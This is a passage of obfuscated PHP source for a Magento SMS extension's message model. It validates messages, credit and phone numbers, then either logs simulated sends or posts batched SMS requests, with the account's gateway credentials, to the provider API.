+ class Topefekt_Magesms_Model_Sms extends Varien_Object { const SENT = 1; const ERROR = 2; const DELIVERED = 3; const UNAVAILABLE = 4; const SIMULATION = 5; const SCHEDULED = 6; const DELETED = 7; const DND = 8; const DUPLICATE = 9; const TYPE_ADMIN = 1; const TYPE_CUSTOMER = 2; const TYPE_MARKETING = 3; const TYPE_SIMPLE = 4; protected $_routes_type = array( self::TYPE_ADMIN => 'admin', self::TYPE_CUSTOMER => 'customer', self::TYPE_MARKETING => 'customer', self::TYPE_SIMPLE => 'customer'); private $v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b = true; public function _construct() { $this->setData(array( 'recipient' => new Varien_Data_Collection(), 'message' => '', 'subject' => '', 'unicode' => false, 'sendlater' => false, 'type' => self::TYPE_SIMPLE, 'priority' => true, 'unique' => false, 'admin_id' => 0, 'customer_id' => 0, 'recipient_name' => '', 'store_id' => null )); parent::_construct(); } public function send() { ini_set('max_execution_time', 1200); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); if ($this->getIsFrontOffice()) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('core/session'); else $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); try { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f = array(); if (!strlen($this->getMessage())) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__('Fill in SMS text.'); } if (is_array($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f)) Mage::throwException($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[0]); if ($this->getSendlater()) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d8284e7e828b5452004207db69edd7aa7ff0703ab = Mage::getModel('core/date')->gmtTimestamp(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8284e7e828b5452004207db69edd7aa7ff0703ab >= $this->getSendlater()) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__('Wrong time of SMS sending.'); } if (is_array($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f)) Mage::throwException($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[0]); if (!count($this->getRecipient())) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__('Recipients found: 0'); if (is_array($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f)) Mage::throwException($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[0]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519 = html_entity_decode($this->getMessage(), ENT_QUOTES, 'UTF-8'); $if295547318143e26fc7026b92d58e3d1eec229db = Mage::helper('magesms')->countSms($ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519, $this->getUnicode()); if (!$ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->simulatesms && count($this->getRecipient())*$if295547318143e26fc7026b92d58e3d1eec229db*0.05 > $ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->credit) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__('You do not have enough credit to send SMS to all ') .count($this->getRecipient()).Mage::helper('magesms')->__(' recipients.'); if (is_array($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f)) Mage::throwException($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[0]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d854b57231c05dbaa7f22331dbaed4152a402d2f1 = new Zend_Locale_Data(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d065c883e3f45e58104d21f8196ee3fe9bd2f513d = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d854b57231c05dbaa7f22331dbaed4152a402d2f1->getList('en-EN', 'phonetoterritory'); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2 = array('number'=>array(), 'isms'=>array(), 'sendertype'=>array(), 'senderID'=>array(), 'dnd'=>array(), 'admin_id'=>array(), 'customer_id'=>array(), 'recipient' => array(), 'data' => array()); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; foreach($this->getRecipient() as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getNumber(); $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getCountry() ? $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getCountry() : ''; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = ''; if ($i037b855bc01175f2c77d5c3e19eda9a0003feff4 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d065c883e3f45e58104d21f8196ee3fe9bd2f513d[$i037b855bc01175f2c77d5c3e19eda9a0003feff4] && !(strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, '+') === 0 || strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, '00') === 0)) { if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, '0') === 0) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, 1); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d065c883e3f45e58104d21f8196ee3fe9bd2f513d[$i037b855bc01175f2c77d5c3e19eda9a0003feff4]; } $i813c950729f632ca03f8c203c0a769de5e8bdf29 = Mage::helper('magesms')->prepareNumber($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, $this->_routes_type[$this->getType()], $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd, $this->getStoreId()); if(is_array($i813c950729f632ca03f8c203c0a769de5e8bdf29)) { if ($this->getUnique()) { if (in_array($i813c950729f632ca03f8c203c0a769de5e8bdf29['mobile'], $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'])) continue; } $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][] = $i813c950729f632ca03f8c203c0a769de5e8bdf29['mobile']; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->setFinalNumber($i813c950729f632ca03f8c203c0a769de5e8bdf29['mobile']); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['dnd'][] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getDnd(); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms'][] = $i813c950729f632ca03f8c203c0a769de5e8bdf29['isms']; $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['sendertype'][] = $i813c950729f632ca03f8c203c0a769de5e8bdf29['sendertype']; $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][] = $i813c950729f632ca03f8c203c0a769de5e8bdf29['senderID']; $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getAdminId(); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getCustomerId(); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getRecipient(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->hasText()) { $i42745015bca99637011d2ba8a559beb3a8b0961f = html_entity_decode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getText(), ENT_QUOTES, 'UTF-8'); $i42745015bca99637011d2ba8a559beb3a8b0961f = addslashes($i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = str_replace(['&amp;', '&'], '%26', $i42745015bca99637011d2ba8a559beb3a8b0961f); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d] = $i42745015bca99637011d2ba8a559beb3a8b0961f; } } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->simulatesms) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); foreach($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039 => $ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNumber('+'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setDate(date('Y-m-d H:i:s')); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal(Mage::helper('magesms')->countSms($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039], $this->getUnicode())); } else { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal($if295547318143e26fc7026b92d58e3d1eec229db); } $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::SIMULATION); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSender($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setType($this->getType()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('SMS SIMULATION (Sending of SMS was simulated. Recipient will not receive SMS)')); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSmsid('simulate'.md5(microtime())); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSubject($this->getSubject()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setAdminId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCustomerId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setRecipient($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d && !($ibcdf76f8c9ddc330c79f805116a8bb146c43749d % 10)) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i5ee2fa256ff77dd811a9c1911f7563263a694e4b); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); if (count($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess(Mage::helper('magesms')->__('SMS was sent (simulation).')); $this->v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b = false; } else { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'username='.urlencode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->user).'&password='.urlencode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->passwd) .'&unicode='.($this->getUnicode() ? 1 : 0); if ($this->getSendlater()) $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&datelater='.urlencode($this->getSendlater()); if ($this->getHookName()) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&HN='.$this->getHookName(); } if ($this->getPriority()) $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&action=sendsms&number='.urlencode($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][0]) .'&isms='.urlencode($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms'][0]).'&sender='.urlencode($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][0]); else { $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310 = array('number'=>array(), 'isms'=>array(), 'sendertype'=>array(), 'senderID'=>array(), 'dnd'=>array(), 'admin_id'=>array(), 'customer_id'=>array(), 'recipient' => array(), 'data' => array()); foreach ($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['dnd'] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d=>$i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1) { if ($i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['number'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['isms'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['sendertype'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['sendertype'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['sendertype'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['senderID'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['dnd'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['dnd'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['dnd'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['admin_id'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['customer_id'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['recipient'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['data'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); } } $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2 = array_map('array_values', $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938 = true; $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd142d81574a8d8630ffd99db7dade811d2585120 = ''; foreach ($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'] as $i9998762c1837cb29ffc61a658599ac581a2bcf25) { if (!$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd142d81574a8d8630ffd99db7dade811d2585120) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd142d81574a8d8630ffd99db7dade811d2585120 = $i9998762c1837cb29ffc61a658599ac581a2bcf25; continue; } if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd142d81574a8d8630ffd99db7dade811d2585120 != $i9998762c1837cb29ffc61a658599ac581a2bcf25) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938 = false; break; } } $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&action=sendsmsall'.(!$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938 && $this->getType() == self::TYPE_MARKETING ? '2' : '').'&number='.implode(';', $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number']) .'&isms='.implode(';', $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms']).'&sender='.implode(';', $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID']); } if ($this->getType() == self::TYPE_MARKETING && !empty($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data']) && $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519 = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][0]; if ($this->getType() == self::TYPE_MARKETING && !empty($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data']) && !$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; foreach ($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&data'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d.'='.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } } else { $i42745015bca99637011d2ba8a559beb3a8b0961f = html_entity_decode($ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519, ENT_QUOTES, 'UTF-8'); $i42745015bca99637011d2ba8a559beb3a8b0961f = addslashes($i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = str_replace("&amp;", "%26", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = str_replace("&", "%26", $i42745015bca99637011d2ba8a559beb3a8b0961f); $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&data='.$i42745015bca99637011d2ba8a559beb3a8b0961f; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322, false); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720)) { if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720, 'QQQ___QQQ') !== false) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd18c7e5bc71d5242a8b8cc24d43559e5dccbddb5 = explode("QQQ___QQQ", $ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720); else $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd18c7e5bc71d5242a8b8cc24d43559e5dccbddb5 = array($ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['number'])) { foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['number'] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039=>$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNumber('+'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['number'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setDate(date('Y-m-d H:i:s')); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal(Mage::helper('magesms')->countSms($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039], $this->getUnicode())); } $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::DND); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSender($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setAdminId($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCustomerId($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) 